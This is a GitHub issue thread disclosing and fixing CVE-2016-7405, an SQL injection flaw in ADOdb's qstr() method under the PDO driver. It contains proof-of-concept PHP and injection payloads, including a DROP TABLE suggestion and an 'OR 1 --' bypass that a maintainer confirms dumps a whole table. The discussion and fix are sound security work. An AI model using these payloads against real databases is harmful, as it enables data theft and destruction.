Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2016-7405: ADOdb qstr() method does not quote properly with PDO #226

Closed
jdavidlists opened this issue Apr 17, 2016 · 6 comments
Closed
Assignees
Labels
bug pdo The PHP PDO Driver (Tier 2) security
Milestone

Comments

@jdavidlists
Copy link

In ADODB 5.20.4, using the PDO driver results in qstr not behaving properly, leading to SQL injection. The same method called with the MySQLi driver works as expected.

Example code:

require_once( 'adodb5/adodb.inc.php' );

$db = ADONewConnection( 'pdo' );
$db->connect( $strDSN, $strUser, $strPassword );
echo "ADODB PDO: ", $db->qstr( 'backslash\\' ), "\n";
echo "ADODB PDO: ",$db->qstr( 'quote\'' ), "\n";


$pdo = new PDO( $strDSN, $strUser, $strPassword );
echo "PDO Native: ", $pdo->quote( 'backslash\\' ), "\n";
echo "PDO Native: ", $pdo->quote( 'quote\'' ), "\n";


$db = ADONewConnection( 'mysqli' );
$db->connect( $strHost, $strUser, $strPassword );
echo "ADODB MySQLi: ", $db->qstr( 'backslash\\' ), "\n";
echo "ADODB MySQLi: ", $db->qstr( 'quote\'' ), "\n";

Example results:

ADODB PDO: 'backslash\'
ADODB PDO: 'quote'''
PDO Native: 'backslash\\'
PDO Native: 'quote\''
ADODB MySQLi: 'backslash\\'
ADODB MySQLi: 'quote\''

Note the unescaped backslash and different style of single-quote escaping in the ADODB PDO example.

This is an exploitable vulnerability:

Exploit code:

$db = ADONewConnection( 'pdo' );
$db->connect( $strDSN, $strUser, $strPassword );
$strHack = 'backslash\\\',9*7 -- ';
$strSQL = "SELECT " . $db->qstr( $strHack );
echo $strSQL, "\n";
$x = $db->getAll( $strSQL );
var_dump( $x );
$x = $db->errorMsg();
var_dump( $x );

Exploit results:

SELECT 'backslash\'',9*7 -- '
array(1) {
  [0]=>
  array(4) {
    ["backslash'"]=>
    string(10) "backslash'"
    [0]=>
    string(10) "backslash'"
    ["9*7"]=>
    string(2) "63"
    [1]=>
    string(2) "63"
  }
}
string(0) ""

(Substitute ",9*7" for "; DROP TABLE AllYourAccountingRecords;")

@dregad dregad added bug pdo The PHP PDO Driver (Tier 2) security labels Apr 17, 2016
@dregad
Copy link
Member

dregad commented Apr 17, 2016

Thanks for the report, will look into it

@mnewnham
Copy link
Contributor

Whilst I agree that the example you give with 9*7 is correct, and can be duplicated, I cannot extrapolate it with any valid SQL like you suggested. Here is the result of my test:

include '/dev/github/v5.20.4/adodb.inc.php';
$db = ADOnewConnection('pdo');
$db->debug = true;
$database = 'employees';
$host     = '127.0.0.1';
$user     = 'root';
$password = 'password';
$db->connect('mysql:host=localhost;dbname=employees;charset=utf8mb4',$user,$password);
//$strHack = 'backslash\\\',9*7 -- ';
$strHack = 'backslash\\\'; DROP TABLE nothing';
$strSQL = "SELECT " . $db->qstr( $strHack );
echo $strSQL, "\n";
$x = $db->getAll( $strSQL );
var_dump( $x );

And the result is:

array(1) {
  [0]=>
  array(2) {
    ["backslash'"]=>
    string(10) "backslash'"
    [0]=>
    string(10) "backslash'"
  }
}

It would appear that the addition of the ; symbol causes execute() to discard the trailing statement. @jdavidlists Could you check the syntax of my sample to ensure I have created this test correctly

@jdavidlists
Copy link
Author

jdavidlists commented Apr 18, 2016

You may have an easier time constructing an example in the predicate of the "OR 1" variety. E.g. turning:

SELECT * FROM SecretUserInfo WHERE Username='myfakename'

into:

SELECT * FROM SecretUserInfo WHERE Username='myfakename' OR 1

with something like:

$strHack = 'myfakename\\\' OR 1 --'

(Not tested; I'm on vacation.)

@dregad
Copy link
Member

dregad commented May 25, 2016

I confirm that, using @mnewnham's sample code above, I can dump the whole table

$strHack = 'xxxx\\\' OR 1 -- ';
$strSQL = "SELECT * FROM employees WHERE name = " . $db->qstr( $strHack );

That being said, the above query should really be written like this, which prevents any injection.

$strSQL = "SELECT * FROM employees WHERE name = ?"
$db->getAll($strSQL, array($strHack));

dregad added a commit to dregad/ADOdb that referenced this issue May 26, 2016
The PDO driver was relying on ADOConnection::qstr() for quoting strings.
An application relying on qstr() to manually prepare SQL statements
rather than using parameterized queries may be vulnerable to SQL
injection attacks, as demonstrated by @jdavidlists.

This commit delegates string quoting to PDO::quote() when a connection
is available. If not, it simply replaces single quotes by the value of
$replaceQuote property.

Fixes ADOdb#226
@dregad
Copy link
Member

dregad commented May 26, 2016

Proposed fix, see pull request #252 - override qstr() method in ADODB_pdo, that delegates quoting to underlying PDO object.

dregad added a commit to dregad/ADOdb that referenced this issue Aug 31, 2016
The PDO driver was relying on ADOConnection::qstr() for quoting strings.
An application relying on qstr() to manually prepare SQL statements
rather than using parameterized queries may be vulnerable to SQL
injection attacks, as demonstrated by @jdavidlists.

This commit delegates string quoting to PDO::quote() when a connection
is available. If not, it simply replaces single quotes by the value of
$replaceQuote property.

Fixes ADOdb#226
dregad added a commit that referenced this issue Sep 7, 2016
The PDO driver was relying on ADOConnection::qstr() for quoting strings.
An application relying on qstr() to manually prepare SQL statements
rather than using parameterized queries may be vulnerable to SQL
injection attacks, as demonstrated by @jdavidlists.

This commit delegates string quoting to PDO::quote() when a connection
is available. If not, it simply replaces single quotes by the value of
$replaceQuote property.

Fixes #226
@dregad dregad added this to the v5.20.7 milestone Sep 7, 2016
@dregad dregad self-assigned this Sep 7, 2016
@dregad dregad closed this as completed Sep 7, 2016
@dregad dregad changed the title SECURITY: ADODB qstr does not quote properly with PDO CVE-2016-7405: ADOdb qstr() method does not quote properly with PDO Sep 15, 2016
@dregad
Copy link
Member

dregad commented Sep 15, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug pdo The PHP PDO Driver (Tier 2) security
Projects
None yet
Development

No branches or pull requests

3 participants